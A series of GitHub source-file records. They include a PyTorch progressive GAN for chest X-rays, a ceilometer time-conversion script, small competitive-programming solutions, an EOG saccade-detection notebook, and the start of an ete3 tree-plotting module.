512x4x4\n *Conv_Block(prev_channel=channel_depth, channels=channel_depth,\n kernel=4, stride=1, padding=0, bias=True, equalize=equalize_layers,\n activation=True, normalize=norm_layers)) # eg: 512x4x4 → 512x1x1\n\n self.DecisionLinear = EqualizedLinear(in_features=channel_depth, out_features=decision_layer_dim,\n equalize=self.equalize, bias_init=self.init_bias) # eg: 512x1x1 → 1x1x1\n\n def forward(self, x):\n\n if self.alpha > 0 and len(\n self.fromRGB) > 1: # Check if the layers are mixed and multiple resolutions are being used\n pooled = F.avg_pool2d(input=x,\n kernel_size=(2, 2)) # Downsample the larger image to mix with the output of the\n pooled = self.fromRGB[-2](pooled) # new processing layer\n\n # Convert from RGB to Feature Maps:\n x = self.fromRGB[-1](x)\n\n for scale_num, scale_block in enumerate(self.ScaleBlocks, 1):\n # Start at 1 due to the first image dimension not requiring scaling\n x = scale_block(x) # Process the input through the contraction block of conv, conv, downsample\n\n # Processing blocks are added to the front of the array, so mixing always occurs at the top layer\n if self.alpha > 0 and scale_num == 1:\n x = self.alpha * pooled + (1.0 - self.alpha) * x # Interpolate the downsampled input and the new input\n\n if self.minibatch:\n x = self.miniSTD(x)\n\n x = self.DecisionBlock(x) # Final 3x3, 4x4 conv\n\n features = np.prod(x.size()[1:])\n x = x.view(-1, features)\n\n x = self.DecisionLinear(x) # Returns logits\n\n return x # Final score for whether the image is fake\n\n def incrementdepth(self, new_depth):\n \"\"\"\n Adds scaling block to the model, doubles the spatial resolution of the inputted image\n Includes two channel depth parameters as the descriminator often has different channels for each convolution\n \"\"\"\n device = next(self.parameters()).device\n self.current_depth += 1\n self.current_size *= 2\n\n prev_depth = self.channel_depth[-1]\n self.channel_depth.append(new_depth)\n size = self.current_size.cpu().numpy()\n\n self.ScaleBlocks.insert(0, ScaleBlock(dims=size, prev_channel=new_depth, # Add block to the beginning of list\n channels=prev_depth, scale=0.5, equalize=self.equalize,\n normalize=self.norm_layers, leakiness=self.leakiness, kernel=3,\n stride=1, padding=None, bias=True).to(device))\n\n self.fromRGB.append(*Conv_Block(prev_channel=self.input_channels, channels=new_depth,\n kernel=1, stride=1, padding=0, bias=True, equalize=self.equalize,\n activation=False, normalize=False).to(device))\n\n def set_alpha(self, new_alpha):\n \"\"\"\n Sets the mixing factor used when incrementing the network. Alters the functioning of the forward function\n to include the second layer and interpolate between it and the initial output of the added scaling block.\n \"\"\"\n if new_alpha < 0 or new_alpha > 1:\n raise ValueError(\"Alpha must be in the range [0,1]\")\n self.alpha = new_alpha\n\n def save(self, filename):\n settings = {\n 'input_channels': self.input_channels,\n 'decision_layer_dim': self.decision_layer_dim,\n 'channel_depth': self.channel_depth,\n 'init_bias': self.init_bias,\n 'norm_layers': self.norm_layers,\n 'minibatch': self.minibatch,\n 'equalize': self.equalize,\n 'leakiness': self.leakiness\n }\n torch.save({'state_dict': self.state_dict(),\n 'settings': settings}, filename)\n\n def load(self, checkpoint):\n \"\"\"\n Automatically scales the network to the required size and loads the weights\n :param checkpoint: Saved network state\n :return:\n \"\"\"\n for depth in checkpoint['settings']['channel_depth'][1:]:\n self.incrementdepth(depth)\n self.load_state_dict(checkpoint['state_dict'])\n print(\"Discriminator Weights Loaded\")\n\n\nclass ProGAN(pl.LightningModule):\n def __init__(self, hparams):\n super(ProGAN, self).__init__()\n self.hparams = hparams\n\n self.name = hparams.name\n self.directory = hparams.directory\n self.batch_sizes = [int(batch) for batch in hparams.batch_sizes]\n\n self.worker_num = hparams.worker_num\n self.register_buffer('img_size', torch.tensor(4)) # initial spatial dimensions\n self.z_dim = hparams.z_dim\n\n self.generator = ProGenerator(z_dim=hparams.z_dim, channel_depth=hparams.initial_channel_depth,\n init_bias=hparams.init_bias, norm_layers=hparams.g_norm_layers,\n out_channels=hparams.img_channels, equalize_layers=hparams.equalize,\n leakiness=hparams.leakiness, mode=hparams.mode)\n\n self.discriminator = ProDiscriminator(channel_depth=hparams.initial_channel_depth, init_bias=hparams.init_bias,\n norm_layers=hparams.d_norm_layers, input_channels=hparams.img_channels,\n decision_layer_dim=hparams.decision_dim, equalize_layers=hparams.equalize,\n leakiness=hparams.leakiness, minibatch_std=hparams.minibatch_std)\n\n self.register_buffer('scale', torch.tensor(0))\n self.lr = hparams.lr\n self.b1 = hparams.b1\n self.b2 = hparams.b2\n self.eps = hparams.eps\n self.drift = hparams.drift\n self.lambda_val = hparams.lambda_val\n\n self.imgs = None\n\n self.channel_depths = [int(depths) for depths in hparams.depths]\n\n self.register_buffer('alpha', torch.tensor(0))\n self.register_buffer('alpha_jumps', hparams.alpha_jumps)\n iters = int(self.alpha_jumps[self.scale] / self.batch_sizes[self.scale])\n self.alpha_iters = iters\n self.alpha_vals = np.linspace(start=1, stop=0, num=iters)\n\n self.sample_rate = hparams.sample\n self.sample_num = hparams.sample_num\n\n self.iteration_sets = [int(iteration) for iteration in hparams.iterations]\n self.register_buffer('total_iter', torch.tensor(0))\n self.register_buffer('current_iter', torch.tensor(0))\n self.register_buffer('num_images_seen', torch.tensor(0))\n self.register_buffer('iter_images_seen', torch.tensor(0))\n self.register_buffer('g_current_iter', torch.tensor(0))\n self.register_buffer('d_current_iter', torch.tensor(0))\n\n self.register_buffer('fixed_z', torch.randn(self.sample_num, self.z_dim, requires_grad=False))\n\n self.register_buffer('epoch_counter', torch.tensor(0))\n self.register_buffer('batch_count', torch.tensor(0))\n\n self.ema = hparams.ema\n if self.ema:\n self.ema_decay = hparams.ema_decay\n self.gen_shadow = copy.deepcopy(self.generator)\n exp_avg_update(target=self.gen_shadow, source=self.generator, beta=0)\n\n self.set_fp16 = hparams.set_fp16\n\n def forward(self, latent):\n return self.generator(latent)\n\n def training_step(self, img_list, batch_idx, optimizer_idx):\n device = next(self.parameters()).device\n img_batch, _ = img_list\n\n self.check_network_scale()\n\n # Random Noise Vector:\n latent = torch.randn(img_batch.shape[0], self.z_dim)\n latent = latent.type_as(img_batch)\n # Training the discriminator first appears to promote more stable training\n if optimizer_idx == 0: # Discriminator Training:\n # No labels are needed as the higher the average real score the better the discriminator\n # and the lower the average fake score the better\n real_imgs = img_batch.detach()\n real_validity = self.discriminator(real_imgs)\n\n fake_imgs = self.forward(latent).detach()\n fake_validity = self.discriminator(fake_imgs)\n\n gradient_penalty = compute_gradient_penalty(real_samples=real_imgs, fake_samples=fake_imgs)\n\n d_loss = -torch.mean(real_validity) + torch.mean(fake_validity) + self.lambda_val * gradient_penalty \\\n + self.drift * torch.mean(real_validity ** 2)\n d_loss = d_loss.unsqueeze(0)\n\n tqdm_dict = {'d_loss': d_loss}\n output = OrderedDict({\n 'loss': d_loss,\n 'progress_bar': tqdm_dict,\n 'log': tqdm_dict,\n 'opt_step': torch.tensor([optimizer_idx]).to(device)\n })\n\n return output\n\n if optimizer_idx == 1: # Generator Training:\n fake_imgs = self.forward(latent) # Generate Images from Noise\n validity_score = self.discriminator(fake_imgs)\n\n # Calculate Generator Loss\n g_loss = -torch.mean(validity_score)\n g_loss = g_loss.unsqueeze(0)\n\n tqdm_dict = {'g_loss': g_loss}\n output = OrderedDict({\n 'loss': g_loss,\n 'progress_bar': tqdm_dict,\n 'log': tqdm_dict,\n 'opt_step': torch.tensor([optimizer_idx]).to(device)\n })\n\n return output\n\n def training_step_end(self, outputs):\n \"\"\"\n Method collating all results on a single GPU. Can be used to increment values that will be distributed\n to all GPUs on future training steps. Image logs can be produced without redundancy as well.\n \"\"\"\n if int(outputs['opt_step'][-1]) == 1: # Only called after the generator is updated\n device = next(self.parameters()).device\n\n self.total_iter += 1\n self.current_iter += 1\n self.num_images_seen += self.batch_sizes[self.scale]\n self.iter_images_seen += self.batch_sizes[self.scale]\n self.g_current_iter += 1\n\n self.check_network_scale()\n\n if self.ema:\n exp_avg_update(target=self.gen_shadow, source=self.generator, beta=self.ema_decay)\n\n if self.alpha_iters >= self.current_iter:\n if len(self.alpha_vals) > 0: # Check alpha values exist for current scale\n alpha = self.alpha_vals[self.current_iter - 1]\n self.update_alpha(torch.tensor(alpha).to(device))\n else: # Correct if no mixing is specified for particular scale\n self.update_alpha(torch.tensor(0).to(device))\n else:\n if self.alpha > 0: # Correct if alpha not 0\n self.update_alpha(torch.tensor(0).to(device))\n\n self.logger.experiment.add_scalar('Alpha_Mixing_Coefficient', self.alpha, self.total_iter)\n\n # Generate Fixed Samples & Store\n if self.current_iter % self.sample_rate == 0:\n with torch.no_grad():\n samples = self.forward(self.fixed_z).detach()\n grid = vutils.make_grid(samples, normalize=True)\n self.logger.experiment.add_image('generated_images', grid, self.total_iter)\n\n if self.ema:\n samples = self.gen_shadow.forward(self.fixed_z).detach()\n grid = vutils.make_grid(samples, normalize=True)\n self.logger.experiment.add_image('shadow_generated_images', grid, self.total_iter)\n else:\n self.d_current_iter += 1\n\n outputs['loss'] = outputs['loss'].squeeze(0)\n del outputs['opt_step'] # Remove tracking value from output\n return outputs\n\n def check_network_scale(self):\n device = next(self.parameters()).device\n if self.generator.current_depth != self.scale:\n self.generator.current_depth = torch.tensor(self.scale).to(device)\n if self.ema:\n self.gen_shadow.current_depth = torch.tensor(self.scale).to(device)\n\n if self.discriminator.current_depth != self.scale:\n self.discriminator.current_depth = torch.tensor(self.scale).to(device)\n\n def configure_optimizers(self):\n lr = self.lr\n b1 = self.b1\n b2 = self.b2\n epsilon = self.eps\n\n opt_d = torch.optim.Adam(self.discriminator.parameters(), lr=lr, betas=(b1, b2), eps=epsilon)\n opt_g = torch.optim.Adam(self.generator.parameters(), lr=lr, betas=(b1, b2), eps=epsilon)\n\n return [opt_d, opt_g], []\n\n def configure_apex(self, amp, model, optimizers, amp_level):\n [model.generator, model.discriminator], optimizers = amp.initialize(\n [model.generator, model.discriminator], optimizers, opt_level=amp_level,\n )\n\n return model, optimizers\n\n def add_depth(self):\n device = next(self.parameters()).device\n scale = self.scale\n\n print(\"Adding Depth, Scale:\", scale + 1, \"Img Size:\", self.img_size * 2)\n\n self.generator.incrementdepth(self.channel_depths[scale])\n\n if self.ema:\n self.gen_shadow.incrementdepth(self.channel_depths[scale])\n\n self.discriminator.incrementdepth(self.channel_depths[scale])\n\n self.img_size *= 2 # Double Spatial Dimensions\n self.scale += 1\n self.current_iter = torch.tensor(0).to(device)\n self.iter_images_seen = torch.tensor(0).to(device)\n # Generate a smooth linear array of numbers from 1 to 0 for fading in layers\n iters = int(self.alpha_jumps[self.scale] / self.batch_sizes[self.scale])\n self.alpha_iters = iters\n alpha_range = np.linspace(start=1, stop=0, num=iters)\n self.alpha_vals = alpha_range\n self.update_alpha(torch.tensor(1).to(device))\n\n def update_alpha(self, new_alpha):\n if type(new_alpha).__name__ != 'Tensor':\n device = next(self.parameters()).device\n new_alpha = torch.tensor(new_alpha).to(device)\n\n self.alpha = new_alpha\n self.generator.set_alpha(new_alpha)\n if self.ema:\n self.gen_shadow.set_alpha(new_alpha)\n self.discriminator.set_alpha(new_alpha)\n\n def prepare_data(self):\n self.imgs = VariableImageFolder(self.directory)\n\n def train_dataloader(self): # Dataloader is reset at the end of each epoch\n # Using the variable length dataset enables finer control over the number of images shown\n batch_size = self.batch_sizes[self.scale]\n img_size = self.img_size\n worker_num = self.worker_num\n imgs_needed = self.iteration_sets[self.scale] - self.iter_images_seen # For loading in the middle of epochs\n if imgs_needed <= 0:\n imgs_needed = 1 # Correct for potential image number error\n\n self.imgs.update_img_size(img_size)\n self.imgs.update_img_len(imgs_needed)\n\n dataloader = torch.utils.data.DataLoader(self.imgs, batch_size=batch_size, drop_last=True,\n shuffle=True, num_workers=worker_num)\n return dataloader\n\n def on_epoch_end(self):\n self.epoch_counter += 1\n # Number of total images needed\n imgs_needed = self.iteration_sets[self.scale] - self.iter_images_seen\n if imgs_needed <= 0:\n self.add_depth()\n\n def get_settings(self):\n settings_dict = {\n 'alpha': self.alpha,\n\n 'g_size': self.generator.current_size,\n 'g_depth': self.generator.current_depth,\n 'g_alpha': self.generator.alpha,\n 'd_size': self.discriminator.current_size,\n 'd_depth': self.discriminator.current_depth,\n 'd_alpha': self.discriminator.alpha,\n\n 'total_iter': self.total_iter,\n 'current_iter': self.current_iter,\n 'num_images_seen': self.num_images_seen,\n 'iter_images_seen': self.iter_images_seen,\n 'g_current_iter': self.g_current_iter,\n 'd_current_iter': self.d_current_iter,\n\n 'fixed_z': self.fixed_z\n }\n return settings_dict\n\n def set_settings(self, settings):\n\n self.alpha = settings['alpha']\n self.update_alpha(settings['alpha']) # Update alpha to previous value\n iters = int(self.alpha_jumps[self.scale] / self.batch_sizes[self.scale])\n self.alpha_iters = iters\n self.alpha_vals = np.linspace(start=1, stop=0, num=iters)\n\n self.generator.current_size = settings['g_size']\n self.generator.current_depth = settings['g_depth']\n\n if self.ema:\n self.gen_shadow.current_size = settings['g_size']\n self.gen_shadow.current_depth = settings['g_depth']\n\n self.discriminator.current_size = settings['d_size']\n self.discriminator.current_depth = settings['d_depth']\n\n self.total_iter = settings['total_iter']\n self.current_iter = settings['current_iter']\n self.num_images_seen = settings['num_images_seen']\n self.iter_images_seen = settings['iter_images_seen']\n self.g_current_iter = settings['g_current_iter']\n self.d_current_iter = settings['d_current_iter']\n\n self.fixed_z = settings['fixed_z']\n\n def load_model(self, path):\n checkpoint = torch.load(path)\n for _ in range(checkpoint['settings']['g_depth']):\n self.add_depth()\n self.load_state_dict(checkpoint['state_dict'])\n self.set_settings(checkpoint['settings'])\n print(\"Model & Settings Successfully Loaded\")\n return self\n","repo_name":"BradSegal/CXR_PGGAN","sub_path":"PGGAN/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":27627,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"61"} +{"seq_id":"72237916993","text":"import csv\nimport numpy as np\nimport datetime\nimport os\nimport time\n\n#Reading the -6UTC file\nwith open('claudio_mlh.csv') as csvfile:\n readCSV = csv.reader(csvfile, delimiter=',')\n datetimes = []\n timenums = []\n raws = []\n raws_filtered = []\n\n for row in readCSV:\n if row[0] == 'Datetime':\n pass\n else:\n d_t = datetime.datetime.strptime(row[0], '%Y-%m-%d %H:%M:%S') + datetime.timedelta(hours=6)\n datetimes.append(d_t)\n t_num = time.mktime(d_t.timetuple())\n timenums.append(t_num)\n\n\n raws.append(row[1])\n\n if row[2] == '':\n filtered = row[2].replace('', 'NaN')\n raws_filtered.append(filtered)\n else:\n raws_filtered.append(row[2])\n\n raws.pop(0)\n raws_filtered.pop(0)\n\n#Dividing and saving the file in month files.\n\"\"\"\nmonth_list = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dic']\n\nmain_dir = '2015_utc/'\nos.makedirs(main_dir)\nfor mm in range(1,13):\n with open(main_dir + month_list[mm-1] + '_2015_utc.dat', 'w') as fout:\n for i in range(0, len(datetimes)):\n if datetimes[i].year == 2015 and datetimes[i].month == mm:\n fout.write(datetime.datetime.strftime(datetimes[i], '%Y-%m-%d-%H:%M:%S') + \" \" + str(raws[i]) + \" \" + str(raws_filtered[i]) + \"\\n\")\n\"\"\"\n#Saving the complete file in UTC\n\nwith open('ceilo_2015_UTC_timenum.csv', 'w') as fout:\n\n for i in range(0, len(datetimes)):\n fout.write(str(timenums[i]) + \" \" + str(raws[i]) + \" \" + str(raws_filtered[i]) + \"\\n\")\n\nwith open('ceilo_2015_UTC.csv', 'w') as fout:\n\n for i in range(0, len(datetimes)):\n fout.write(datetime.datetime.strftime(datetimes[i], '%Y-%m-%d-%H:%M:%S') + \",\" + str(raws[i]) + \",\" + str(raws_filtered[i]) + \"\\n\")\n","repo_name":"cpierard/capa_limite_WRF","sub_path":"Datos/ceilometro/local2UTC.py","file_name":"local2UTC.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11171993856","text":"# https://www.acmicpc.net/problem/2075\n\n\n\n\n# 풀이 1. 메모리 초과 -> 모든 수를 힙에 넣는 과정을 생략해야 할 듯?\n# import sys\n# import heapq\n# # 힙에 모두 저장해서 N번째 큰 수 찾기\n# N = int(sys.stdin.readline())\n\n# heap = []\n# for _ in range(N): \n# x_list = list(map(int,sys.stdin.readline().rstrip().split()))\n\n# for x in x_list:\n# heapq.heappush(heap,-x)\n\n# # print(heap)\n# for _ in range(N-1):\n# heapq.heappop(heap)\n\n# print(-heapq.heappop(heap))\n\n\n\n# 풀이 2. 메모리 초과 해결하기 -> heap 칸 수를 줄이기 \n\nimport sys\nimport heapq\n\nN = int(sys.stdin.readline())\n\nheap = []\nfor _ in range(N): \n x_list = list(map(int,sys.stdin.readline().rstrip().split()))\n\n # push하기\n for x in x_list:\n # heap의 크기를 N으로 제한한다. -> 나중에 그래야 N번째 큰 수가 heap[0](heap 중에 가장 작은 수)로 있게 된다. \n if len(heap) 크기유지 \n elif heap[0] 메모리 계산하는 법?","repo_name":"b2s-study/ps-study-step1","sub_path":"Baekjoon/gwcat0506/[2075] N번째 큰 수.py","file_name":"[2075] N번째 큰 수.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"9536562756","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ### Imports\n\n# In[2]:\n\n\nimport pyedflib\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nfrom scipy import signal\nfrom imp import reload\nimport pandas as pd\nimport pywt\nimport readFiles\nimport databasePreparation\nimport preProcessing\nimport math\nfrom scipy import ndimage, misc\n\nimport string\n\nfrom visualization import plotEogElectrodesSignal, plotVertHorEOG\nfrom classificationUtils import peaksToBinary, peaksBinaryToString, countEyeMovements\n\n\n# ### Reading Data\n# \n# The data is read from an edf file, the EOG channels are extracted and the file is closed.\n# \n# The edf file contains 272 channels, from all those channels, we are only interested in 4 of them:\n# \n# \n# | Channel Number | Channel Name | EOG Electrode |\n# | :---: | :------: | :------------------: |\n# | 256 | EXG1 | Left Electrode |\n# | 257 | EXG2 | Right Electrode |\n# | 258 | EXG3 | Down Electrode |\n# | 259 | EXG4 | Up Electrode |\n\n# In[3]:\n\n\n# Reading the signals from the EDF file\n\nedfFileName = 'C:/Users/Ricardo\\source/enac-eog-analysis/data/EOG_EyeLink/RI02/Testdata0602.edf'\neyesData = readFiles.readEog(edfFileName)\n\nfreqSample = 2048\n\n\n# In[4]:\n\n\nlabelsCsvFile = 'C:/Users/Ricardo\\source/enac-eog-analysis/data/EOG_EyeLink/RI02/labels_triggers_602.csv'\n\ntriggerCsv = readFiles.readCsvTriggerLabels(labelsCsvFile)\n\n\n# ### Pre Processing\n# \n# This section of the code is for signal processing like **noise filtering** and **baseline drift/wandering removal**.\n# \n# For **baseline drift mitigation**, we used:\n# 1. Scipy Detrend Function\n# 2. 10th order Butterworth high-pass filter with optimal cut-off frequency described in literature: 0.04Hz\n# \n# **Note:** The high-pass is useful for real time applications.\n# \n# **Note:** The signal needs to be checked for baseline drift, because if it doesn't have it, then it is **unnecessary** to apply baseline drift mitigation.\n\n# In[5]:\n\n\n# Pre-processing of the signal using butterworth filter\nsos = signal.butter(10, 10, 'lp', fs=freqSample, output='sos')\neyesDataFiltered = signal.sosfilt(sos, eyesData)\n\n\n# In[6]:\n\n\n# Pre-processing: baseline wandering/drift mitigation\neyesDataFiltered2 = signal.detrend(eyesDataFiltered)\n\n\n# In[7]:\n\n\n# Pre-processing: baseline wandering/drift mitigation\nsos2 = signal.butter(1, 0.04, 'highpass', fs=freqSample, output='sos')\neyesDataFiltered3 = signal.sosfilt(sos2, eyesDataFiltered)\n\n\n# ### Ploting Example\n# \n# Part of the electrode's signals that corresponds to calibration.\n# \n# 1. First example: The electrode signals with **baseline wandering removal using python detrend**\n# \n# 2. Second example: The electrode signals with **baseline wandering removal using high-pass butter filter**\n# \n# 3. Third example: The electrode signal **with out any kind of filtering**\n\n# In[8]:\n\n\ncalibrationPart = databasePreparation.getEogCalibrationPart(eyesDataFiltered2, triggerCsv)\ncalibrationPart = signal.detrend(calibrationPart)\nlabels = ['Left Electrode', 'Right Electrode', 'Down Electrode', 'Up Electrode']\nplotEogElectrodesSignal(calibrationPart, labels=labels)\n\n\n# In[9]:\n\n\ncalibrationPart2 = databasePreparation.getEogCalibrationPart(eyesDataFiltered3, triggerCsv)\nlabels = ['Left Electrode', 'Right Electrode', 'Down Electrode', 'Up Electrode']\nplotEogElectrodesSignal(calibrationPart2, labels=labels)\n\n\n# In[10]:\n\n\ncalibrationNoPreprocessing = databasePreparation.getEogCalibrationPart(eyesData, triggerCsv)\nlabels = ['Left Electrode', 'Right Electrode', 'Down Electrode', 'Up Electrode']\nplotEogElectrodesSignal(calibrationNoPreprocessing, labels=labels)\n\n\n# In[11]:\n\n\nsavParts = databasePreparation.getEogSAVParts(eyesData, triggerCsv)\nsemanticParts = savParts[0]\nautiobioParts = savParts[1]\nvisualParts = savParts[2]\n\n\n# # Subtracting the signals\n# \n# To analyze the signal, we must subtract the potencials from the Up and Down Electrode and the Left and Right Electrode.\n# \n# The first plot corresponds to the signal subtraction without desnoising the signal beforehand.\n# \n# The second plot corresponds to the denoising of the previous signal\n\n# In[12]:\n\n\n\nverticalEOG, horizontalEOG = preProcessing.electrodesToVertHori(calibrationNoPreprocessing, 0, 1, 2, 3)\ncalStartArray, calEndArray = databasePreparation.getEogLabelIndexes(triggerCsv, 'calibration_EOG_C_start', 'calibration_EOG_C_end')\ncalibrationStart = calStartArray[0]\ncalibrationEnd = calEndArray[-1]\n \nplotVertHorEOG(verticalEOG, horizontalEOG, triggerStart=calibrationStart, triggerEnd=calibrationEnd, mode='both', triggerCsv=triggerCsv)\n\n\n# In[13]:\n\n\nverticalEOG, horizontalEOG = preProcessing.electrodesToVertHori(calibrationNoPreprocessing, 0, 1, 2, 3)\n\n\n# In[14]:\n\n\nverticalEogDenoised = ndimage.median_filter(verticalEOG, size = 200)\nhorizontalEogDenoised = ndimage.median_filter(horizontalEOG, size = 200)\n\n# sos = signal.butter(10, [5, 10], 'bandstop', fs=freqSample, output='sos')\n# verticalEogDenoisedF = signal.sosfilt(sos, verticalEogDenoised)\n# horizontalEogDenoisedF = signal.sosfilt(sos, horizontalEogDenoised)\n\nplotVertHorEOG(verticalEogDenoised, horizontalEogDenoised, mode='both')\n\n\n# ### Reading .csv file with the labels for the triggers. \n# These triggers represent the start and the end points of parts of the experiment.\n# \n# In the following table, it is explained the meaning of each trigger.\n# \n# | Meaningful Labels | Description |\n# | :----------------: | :----------------: |\n# | **calibration_EOG_C_start** | Start of a calibration movement in a certain direction |\n# | C, H, B, G, D | Center, Haut, Bas, Gauche, Droite |\n# | calibration_EOG_C_end | End of a calibration movement |\n# | S_CF_start | Start of Cross Fixation (CF) for the Semantic (S) Questions round |\n# | S\\_Q\\_start\\_&\\_CF\\_end | Start of Semantic (S) Question and Cross Fixation (CF) end |\n# | S_L_start or S_L_end | Analysis of letter's roundness by subject (8 or more of these in a row) |\n# | **S_access** | Subject acesses memories to answer previous question |\n# | **S_visualization** | Time to recall more details of that memory in order to answer it better |\n# | S_debriefing | Subject answers question. (Very noisy) |\n# | S, A, V | Semantic, Autobiographical, Visual Task |\n# | V_image | Subject analyses image to defrief it afterwards, instead of acess and visualization |\n# \n# The labels in **bold** are the ones that are the most important for this eye movement project.\n\n# # Saccade Detection\n# \n# This section is dedicated to using several algorithms for saccade detection:\n# 1. Continuous Wavelet Transform - Saccade Detection based on article: Eye Movement Analysis for Activity Recognition Using Electrooculography\n# 2. Velocity based approaches\n# \n\n# ### CWT-SD Mexican Hat Wavelet\n\n# In[15]:\n\n\nverticalEOG = verticalEogDenoised\nhorizontalEOG = horizontalEogDenoised\n\ncoefVertMexHat, freqsVertMexHat = pywt.cwt(verticalEOG, 30, 'mexh')\ncoefHoriMexHat, freqsHoriMexHat = pywt.cwt(horizontalEOG, 30, 'mexh')\n\n\n# In[16]:\n\n\nplt.figure(figsize=(20, 5), dpi=90)\ncoefVertMexHat1 = np.reshape(coefVertMexHat, (len(coefVertMexHat[0]),1))\n#coefVertMexHat2 = preProcessing.zeroPadArtifacts(coefVertMexHat1, 70)\nplt.plot(coefVertMexHat1)\nplt.plot(verticalEOG)\nplt.ylim(-500,500)\nplt.show()\n\n\n# In[17]:\n\n\nplt.figure(figsize=(20, 5), dpi=90)\nprint('CoefHoriMexHat type: ', coefHoriMexHat.shape)\ncoefHoriMexHat1 = np.reshape(coefHoriMexHat, (len(coefHoriMexHat[0]),1))\nprint('CoefHoriMexHat1 type: ', coefHoriMexHat1.shape)\nplt.plot(coefHoriMexHat1)\nplt.plot(horizontalEOG)\nplt.ylim(-500,500)\nplt.show()\n\n\n# ### CWT-SD Custom Haar Mother Wavelet\n# \n# In one of the articles that use this approach, haar mother wavelet is used for the CWT in order to detect saccades and blinks.\n# \n# Unfortunetly, I didn't manage to implement that approach just yet.\n\n# ### Peak Finder\n# \n# In this section the peaks of the extracted signal in the previous section are extracted to decode the saccades and their duration!\n\n# In[18]:\n\n\n# Peakfinding\n\n# Flatten the vectors so they can be used in the signal.find_peaks function\nvertCwt = coefVertMexHat1.flatten()\nhoriCwt = coefHoriMexHat1.flatten()\n\n# Thresholds of the saccade peaks\npeaksHeight = np.array([90, 600])\nminSaccadeDistance = 20\n\n# Returns peaks' indexes and their properties in a dict\n# The peaks are detected in the module version of signal in order to find the negative peaks as well\npeaksV, propertiesV = signal.find_peaks(abs(vertCwt), height=peaksHeight, distance=minSaccadeDistance)\npeaksH, propertiesH = signal.find_peaks(abs(horiCwt), height=peaksHeight, distance=minSaccadeDistance)\n\nplt.figure(figsize=(20, 5), dpi=90)\nplt.plot(coefVertMexHat1)\nplt.plot(peaksV, coefVertMexHat1[peaksV], \"x\")\nplt.show()\nplt.figure(figsize=(20, 5), dpi=90)\nplt.plot(coefHoriMexHat1)\nplt.plot(peaksH, coefHoriMexHat1[peaksH], \"x\")\nplt.ylim(-500,500)\nplt.show()\n\nvertPeaksBinary = peaksToBinary(peaksV, vertCwt)\nhoriPeaksBinary = peaksToBinary(peaksH, horiCwt)\n\n\n# In[19]:\n\n\n# Detecting saccades candidates and blink candidates\nvertPeaksString = peaksBinaryToString(vertPeaksBinary)\nhoriPeaksString = peaksBinaryToString(horiPeaksBinary)\n\nup, down, left, right, blinks = countEyeMovements(vertPeaksString, horiPeaksString)\n\nprint('Upward Saccade Count: {}\\nDownward Saccade Count: {}\\nRight Saccade Count: {}\\nLeft Saccade Count: {}\\nBlink Count: {}'.format(up,down,left,right,blinks))\n\n\n# In[33]:\n\n\n# All the plots\nplotVertHorEOG(verticalEogDenoised, horizontalEogDenoised, mode='both')\nplt.show()\n\nplt.figure(figsize=(20, 5), dpi=90)\nplt.plot(coefVertMexHat1, color='black', linestyle=':')\nplt.plot(peaksV, coefVertMexHat1[peaksV], \"x\", color='red')\nplt.plot(verticalEOG, color='cyan')\nplt.ylim(-500,500)\nplt.xlabel('Datapoint')\nplt.ylabel('Amplitude (mV)')\nlabels = ['Vertical EOG Wavelet Transform', 'Transform Peaks', 'Vertical EOG']\nplt.legend(labels) \nplt.show()\n\nplt.figure(figsize=(20, 5), dpi=90)\nplt.plot(coefHoriMexHat1, color='black', linestyle=':')\nplt.plot(peaksH, coefHoriMexHat1[peaksH], \"x\", color='red')\nplt.plot(horizontalEOG, color='magenta')\nplt.ylim(-500,500)\nplt.xlabel('Datapoint')\nplt.ylabel('Amplitude (mV)')\nlabels = ['Horizontal EOG Wavelet Transform', 'Transform Peaks', 'Horizontal EOG']\nplt.legend(labels) \nplt.show()\n\n# plt.figure(figsize=(20, 5), dpi=90)\n# plt.plot(coefVertMexHat1)\n# plt.plot(peaksV, coefVertMexHat1[peaksV], \"x\")\n# plt.show()\n\n# plt.figure(figsize=(20, 5), dpi=90)\n# plt.plot(coefHoriMexHat1)\n# plt.plot(peaksH, coefHoriMexHat1[peaksH], \"x\")\n# plt.ylim(-500,500)\n# plt.show()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"RicardoCQB/enac-eog-analysis","sub_path":"src/NotebookVersions/NotebookV3.py","file_name":"NotebookV3.py","file_ext":"py","file_size_in_byte":10485,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"70549107074","text":"T = int(input())\nfor tc in range(1, T+1):\n N, M = map(int, input().split())\n arrs = [list(map(int, input().split())) for _ in range(M)]\n base = arrs[0]\n for arr in arrs[1:]:\n start = arr[0]\n check = 0\n if len(base) > 10:\n base = [max(base[:-10])] + base[-10:]\n for i in range(len(base)):\n if base[i] > start:\n base = base[:i] + arr + base[i:]\n check += 1\n break\n if check == 0:\n base = base + arr\n print('#{}'.format(tc), end=' ')\n for i in range(10):\n print(base[len(base)-1-i], end=' ')\n print()","repo_name":"bumbum9944/bumpycharm","sub_path":"0902/김기범_수열합치기.py","file_name":"김기범_수열합치기.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13277806559","text":"import os\nos.environ['QT_QPA_PLATFORM']='offscreen'\nimport sys\nfrom ete3 import Tree, TreeStyle, NodeStyle, Face, RectFace, TextFace, StaticItemFace\nfrom ete3.treeview.qt4_face_render import _TextFaceItem\nfrom PyQt5.QtCore import QRectF\nfrom PyQt5.QtWidgets import QGraphicsRectItem\nfrom PyQt5.QtGui import QColor, QBrush, QFontMetrics\nimport logging\nfrom statistics import mean\nimport ksrates.fc_rrt_correction as fcCorrect\n\n# Filenames\n_TREE_BRANCH_DISTANCES = \"tree_{}_distances.pdf\"\n_TREE = \"tree_{}.pdf\"\n\nclass _LabelToggleItem(QGraphicsRectItem):\n # Empty item whose sole purpose is to toggle the display of the branch length label 